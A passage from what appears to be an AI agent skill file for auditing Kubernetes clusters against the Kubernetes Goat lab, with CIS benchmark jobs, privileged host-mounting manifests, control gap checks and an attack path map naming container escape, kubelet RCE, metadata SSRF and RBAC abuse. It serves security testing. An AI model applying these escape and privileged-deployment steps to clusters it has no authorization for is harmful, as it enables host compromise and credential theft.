        - name: etc-kubernetes
          mountPath: /etc/kubernetes
          readOnly: true
        - name: etc-systemd
          mountPath: /etc/systemd
          readOnly: true
      restartPolicy: Never
      tolerations:
      - key: node-role.kubernetes.io/control-plane
        operator: Exists
        effect: NoSchedule
      - key: node-role.kubernetes.io/master
        operator: Exists
        effect: NoSchedule
      nodeSelector:
        node-role.kubernetes.io/control-plane: \"\"
      volumes:
      - name: var-lib-kubelet
        hostPath:
          path: /var/lib/kubelet
      - name: etc-kubernetes
        hostPath:
          path: /etc/kubernetes
      - name: etc-systemd
        hostPath:
          path: /etc/systemd
EOF
2>/dev/null && sleep 15 && kubectl logs job/kube-bench-master 2>/dev/null | tail -60")

Key CIS checks that map to Kubernetes Goat scenarios:

CIS CheckFindingScenario
1.1.*API server configurationScenario 6
1.2.1--anonymous-auth should be falseScenario 3/16
1.2.6--authorization-mode should not include AlwaysAllowScenario 6
1.2.29--encryption-provider-config should be setScenario 8/12
1.2.33--audit-log-path should be setScenario 6
4.1.*Worker node configurationScenario 5/6
4.2.1Kubelet --anonymous-auth should be falseScenario 3
5.1.*RBAC and ServiceAccountsScenario 16
5.2.*Pod Security StandardsScenario 4/5

10b. Container Runtime CIS Benchmark:

First detect the container runtime โ€” this determines which benchmark to run:

kali(command="kubectl get nodes -o jsonpath='{.items[0].status.nodeInfo.containerRuntimeVersion}' 2>/dev/null")
RuntimeBenchmarkNotes
containerd://kube-bench covers containerd via K8s CIS (Phase 10a)Most modern clusters (kind, EKS, GKE, AKS)
docker://docker-bench-securityLegacy Docker runtime only
cri-o://kube-bench covers CRI-O via K8s CIS (Phase 10a)OpenShift clusters

Docker runtime only โ€” deploy docker-bench-security as a DaemonSet:

kali(command="kubectl apply -f - <<'EOF'
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: docker-bench
spec:
  selector:
    matchLabels:
      name: docker-bench
  template:
    metadata:
      labels:
        name: docker-bench
    spec:
      hostPID: true
      hostIPC: true
      hostNetwork: true
      containers:
      - name: docker-bench
        image: docker/docker-bench-security
        command: [\"sh\", \"-c\", \"docker-bench-security.sh && sleep 3600\"]
        securityContext:
          privileged: true
        volumeMounts:
        - name: docker-sock
          mountPath: /var/run/docker.sock
          readOnly: true
        - name: etc
          mountPath: /etc
          readOnly: true
      volumes:
      - name: docker-sock
        hostPath:
          path: /var/run/docker.sock
      - name: etc
        hostPath:
          path: /etc
EOF
2>/dev/null && sleep 20 && kubectl logs ds/docker-bench 2>/dev/null | tail -40")

containerd/CRI-O runtime โ€” skip docker-bench-security (not applicable). The kube-bench run from Phase 10a already covers containerd-specific node configuration. Log a note explaining why docker-bench was skipped.

10c. API server configuration audit (manual):

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -E 'anonymous-auth|authorization-mode|enable-admission|encryption-provider|audit-log|allow-privileged|insecure-port|service-account-lookup'")

Check these critical API server flags:

FlagSecure ValueRisk if Missing/Wrong
--anonymous-authfalseUnauthenticated API access
--authorization-modeNode,RBAC (no AlwaysAllow)No authorization enforcement
--enable-admission-pluginsInclude PodSecurity, NodeRestrictionNo workload restrictions
--encryption-provider-configSet to encryption config fileSecrets in plaintext in etcd
--audit-log-pathSet to log fileNo audit trail
--insecure-port0Unauthenticated HTTP API
--kubelet-certificate-authoritySetNo kubelet auth verification

Phase 11 โ€” Defensive Controls Gap Analysis (thorough)

Check for the presence of security tools and controls. Their ABSENCE is a finding.

11a. Admission controllers:

kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'gatekeeper|kyverno|falco|tetragon|kubearmor|neuvector|twistlock|prisma|aqua|stackrox'")
kali(command="kubectl get validatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl get mutatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl api-resources 2>/dev/null | grep -iE 'constraint|policy|kyverno'")

No admission webhooks = Medium finding โ€” no policy enforcement beyond built-in controllers.

11b. Pod Security Standards enforcement:

kali(command="kubectl get namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for ns in d.get(\"items\", []):
    name = ns[\"metadata\"][\"name\"]
    labels = ns[\"metadata\"].get(\"labels\", {})
    enforce = labels.get(\"pod-security.kubernetes.io/enforce\", \"NONE\")
    audit = labels.get(\"pod-security.kubernetes.io/audit\", \"NONE\")
    warn = labels.get(\"pod-security.kubernetes.io/warn\", \"NONE\")
    if enforce == \"NONE\" and audit == \"NONE\" and warn == \"NONE\":
        print(f\"MEDIUM: {name}: no PodSecurity labels (unrestricted workloads)\")
    else:
        print(f\"OK: {name}: enforce={enforce} audit={audit} warn={warn}\")
' 2>/dev/null")

11c. Runtime security monitoring:

kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig|cilium'")
kali(command="kubectl get daemonsets --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig'")

No runtime security tool = Medium finding โ€” no detection of container escape, sensitive file access, or suspicious process execution.

11d. Audit logging:

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep audit")

No --audit-log-path = High finding โ€” all API actions are unlogged.

11e. Resource limits and quotas:

kali(command="kubectl get limitranges --all-namespaces 2>/dev/null")
kali(command="kubectl get resourcequotas --all-namespaces 2>/dev/null")

No LimitRange or ResourceQuota = Medium finding โ€” pods can consume unlimited resources (DoS vector).

11f. Image pull policy and allowed registries:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    for c in p[\"spec\"].get(\"containers\", []):
        policy = c.get(\"imagePullPolicy\", \"IfNotPresent\")
        image = c.get(\"image\", \"\")
        # Flag: Always pull policy missing for latest tags
        if \":latest\" in image and policy != \"Always\":
            print(f\"LOW: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {image} with pullPolicy={policy}\")
        # Flag: Docker Hub images without org/digest
        if \"/\" not in image.split(\":\")[0] or (not image.startswith(\"gcr.io\") and not image.startswith(\"registry.\") and \"@sha256:\" not in image):
            print(f\"INFO: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: unpinned image {image}\")
' 2>/dev/null | head -30")

Phase 12 โ€” Attack Path Diagram & Report

  1. Call report(action="diagram", data={...}) with a comprehensive attack path map showing all discovered vectors:
flowchart TD
    EXT["External Attacker"]
    API["K8s API :6443"]
    ETCD["etcd :2379"]
    KUB["Kubelet :10250"]
    NP["NodePort Services"]
    REG["Private Registry :5000"]
    DASH["Dashboard"]
    POD["Compromised Pod"]
    SA["SA Token"]
    HOST["Host Node"]
    SECRETS["K8s Secrets"]
    META["Cloud Metadata"]
    CROSS["Cross-NS Services"]

    EXT -->|"anon auth"| API
    EXT -->|"unauthenticated"| ETCD
    EXT -->|"anon /run RCE"| KUB
    EXT -->|"scan 30000-32767"| NP
    EXT -->|"/v2/_catalog"| REG

    API -->|"cluster-admin SA"| DASH
    API -->|"list all"| SECRETS
    KUB -->|"exec"| POD

    POD -->|"auto-mounted"| SA
    POD -->|"hostPath/chroot"| HOST
    POD -->|"SSRF"| META
    POD -->|"flat network"| CROSS
    SA -->|"RBAC abuse"| API

    HOST -->|"admin.conf"| API

    style EXT fill:#ff6b6b,color:#fff
    style ETCD fill:#ff6b6b,color:#fff
    style HOST fill:#ffaa00
    style SECRETS fill:#ff6b6b,color:#fff
  1. Call report(action="note", data={...}) with assessment summary:
Container/K8s Security Assessment Summary:
  Cluster version:         [version]
  API server auth:         [anonymous/token/cert]
  Kubelet auth:            [anonymous/AlwaysAllow/Webhook]
  etcd access:             [exposed/authenticated/encrypted]
  RBAC issues:             [count] overly permissive roles
  Privileged pods:         [count]
  Container escapes:       [count] vectors ([docker.sock/containerd.sock/hostPath/privileged/chroot])
  Secrets exposed:         [count] ([env-vars/volumes/etcd-plaintext])
  Image vulns:             [critical] critical, [high] high
  Hidden layer secrets:    [count] images with secrets in layers
  Network policies:        [present/absent] ([count] namespaces without)
  NodePort services:       [count] externally accessible
  Cross-NS connectivity:   [verified/blocked]
  Private registries:      [count] unauthenticated
  CIS benchmark:           [pass] pass, [fail] fail, [warn] warn
  Admission controllers:   [present/absent] ([tools])
  Runtime security:        [present/absent] ([tools])
  Audit logging:           [enabled/disabled]
  Resource limits:         [enforced/missing]
  Cloud metadata access:   [accessible/blocked]
  1. Call session(action="complete", options={...}) with summary

Kubernetes Goat Scenario Coverage Map

This table maps each Kubernetes Goat attack scenario to the phase in this skill that detects it.

#ScenarioPhaseHow We Detect It
1Sensitive keys in codebases7d.git exposure scan in running containers
2DIND/containerd exploitation5aContainer runtime socket discovery + exploit
3SSRF in K8s pod9d, 9eCloud metadata SSRF + K8s DNS service discovery
4Container escape to host5b, 5cPrivileged escape via chroot + hostPath abuse
5Docker CIS benchmarks10bdocker-bench-security audit
6K8s CIS benchmarks10akube-bench CIS audit
7Private registry attack8fRegistry /v2/_catalog + manifest env var extraction
8NodePort exposed services2NodePort service enumeration + probing
10Crypto miner in container8c, 8eImage layer inspection + process monitoring
11Namespace bypass9b, 9cCross-namespace connectivity test
12Environment info gathering7cEnv var + mount + proc enumeration from inside pod
13DoS via resources11e, 4LimitRange/ResourceQuota/resource limits audit
14Hacker container6b, 11aPod creation RBAC + admission controller check
15Hidden in layers8c, 8ddocker history + docker save layer extraction + dive
16RBAC misconfiguration6a-6dFull RBAC audit + SA token API testing
17KubeAudit defense11aCheck for audit tools presence
18Falco runtime detection11cCheck for Falco DaemonSet
19Popeye sanitizer11aCheck for cluster sanitizer tools
20NetworkPolicy defense9aCheck for NetworkPolicy presence
21Tetragon/eBPF11cCheck for Tetragon/Cilium DaemonSet
22Kyverno policy engine11aCheck for Kyverno admission webhooks

Chaining Other Skills

SkillWhen to invoke
/post-exploitContainer escape achieved โ€” post-exploitation on host node
/credential-auditDefault creds found on exposed services (Redis, dashboards)
/network-assessInternal network beyond K8s (VLAN, ARP, broadcast protocols)
/ssl-tls-auditTLS services on K8s ingress or NodePorts โ€” deep TLS audit
/threat-modelingProduce PASTA threat model of the K8s architecture
/gh-exportWhen user asks to file GitHub issues

Context Recovery After Compaction

When your context is compacted mid-skill:

  1. Call session(action="recovery") before doing anything else โ€” returns tools_already_run, in_progress_cells, pending_escalations, and EXECUTE_NOW
  2. Resume in_progress cells first โ€” notes record which escape vectors, RBAC bindings, or pod configurations were partially tested
  3. Follow pending_escalations โ€” e.g., "test service account token against K8s API for cluster-admin" leads flagged mid-scan
  4. Skip completed phases in tools_already_run โ€” do not re-run trivy or kube-bench if already recorded
  5. Never assert container escape from memory โ€” after compaction, re-run the confirming amicontained / kubectl auth can-i command before reporting

Rules

  • session(action="start", options={...}) is mandatory โ€” never run any other tool before it
  • Batch independent tools in the same response โ€” they execute in parallel
  • When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
  • Check anonymous auth first โ€” unauthenticated K8s API and kubelet access are the most critical findings
  • Enumerate service accounts โ€” they're the most common K8s attack vector
  • Always check NodePort range โ€” these bypass ingress controls entirely
  • Inspect image layers โ€” secrets hidden in deleted layers are invisible at runtime but persist in the image
  • Test cross-namespace connectivity โ€” the flat network model is a lateral movement goldmine
  • Check for SSRF to metadata โ€” cloud credentials via 169.254.169.254 from pods
  • Verify defensive controls โ€” the ABSENCE of Falco, Kyverno, NetworkPolicies, audit logging is itself a finding
  • Call report(action="finding", data={...}) for every confirmed weakness โ€” include the specific resource, misconfiguration, and impact
  • Test container escape only when authorized โ€” these can affect the underlying host
  • Use report(action="note", data={...}) liberally โ€” document K8s version, RBAC findings, pod configurations
  • Never fabricate findings โ€” only report what tool output confirms
  • Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
  • Call session(action="stop_kali") at the end if kali(command=...) was used

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.